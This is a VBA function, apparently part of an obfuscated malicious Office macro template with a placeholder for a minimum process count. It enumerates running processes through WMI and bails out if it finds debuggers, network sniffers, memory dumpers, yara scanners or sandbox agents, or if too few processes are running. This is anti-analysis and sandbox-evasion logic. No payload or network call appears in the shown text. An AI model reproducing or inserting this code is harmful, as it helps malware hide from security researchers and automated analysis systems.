' Verify processes list
Public Function obf_CheckProcesses() As Boolean
    On Error GoTo obf_ProcError

    Dim obf_objWMIService, obf_objProcess, obf_colProcess
    Dim obf_bannedProcesses As Variant
    Dim obf_proc
    
    Set obf_objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set obf_colProcess = obf_objWMIService.ExecQuery("Select * from Win32_Process")
    
    obf_bannedProcesses = Array("apateDNS", "apimonitor-x64", "apimonitor-x86", _
        "autoruns", "autorunsc", "Dbgview", "dumpcap", "DumpIt", _
        "fakenet", "fakenet32", "fakenet64", "Fiddler", "filemon", _
        "floss32", "floss64", "gmer", "handlediff", "HookExplorer", _
        "httpdebugger", "idag", "idag64", "idaq", "idaq64", _
        "ImmunityDebugger", "ImportREC", "joeboxcontrol", "joeboxserver", _
        "listdlls", "livekd", "LordPE", "lordpe", "networkminer", _
        "ollydbg", "ollydbg", "pchunter", "pchunter32", "pchunter64", _
        "pe-bear", "pe-sieve", "peid", "pesieve", "pestudio", _
        "PETools", "proc_analyzer", "procdump", "procdump64", _
        "ProcessHacker", "procexp", "procmon", "ramcapture", _
        "ramcapture64", "regmon", "regshot-x64-ANSI", "regshot-x64-Unicode", _
        "regshot-x64", "regshot-x86-ANSI", "regshot-x86-Unicode", _
        "regshot-x86", "regshot", "reshacker", "ResourceHacker", _
        "rootkitrevealer", "scylla_x64", "scylla_x86", "sigcheck", _
        "sniff_hit", "sysAnalyzer", "SysInspector", "tcpview", "titanhide", _
        "titanhidegui", "totaldump", "tracehook", "vmmap", "windbg", _
        "windbg", "Wireshark", "x32dbg", "x64dbg", "x64helper", "x96dbg", _
        "xuetr", "yara", "yara32", "yara64")

    For Each obf_objProcess In obf_colProcess
        For Each obf_proc In obf_bannedProcesses
            If InStr(LCase(obf_objProcess.Name), LCase(obf_proc)) <> 0 Then
                obf_CheckProcesses = False
                Exit Function
            End If
        Next
    Next
    obf_CheckProcesses = (obf_colProcess.Count() > <<<MIN_PROCESSES_COUNT>>>)
    Exit Function

obf_ProcError:
    obf_CheckProcesses = False
End Function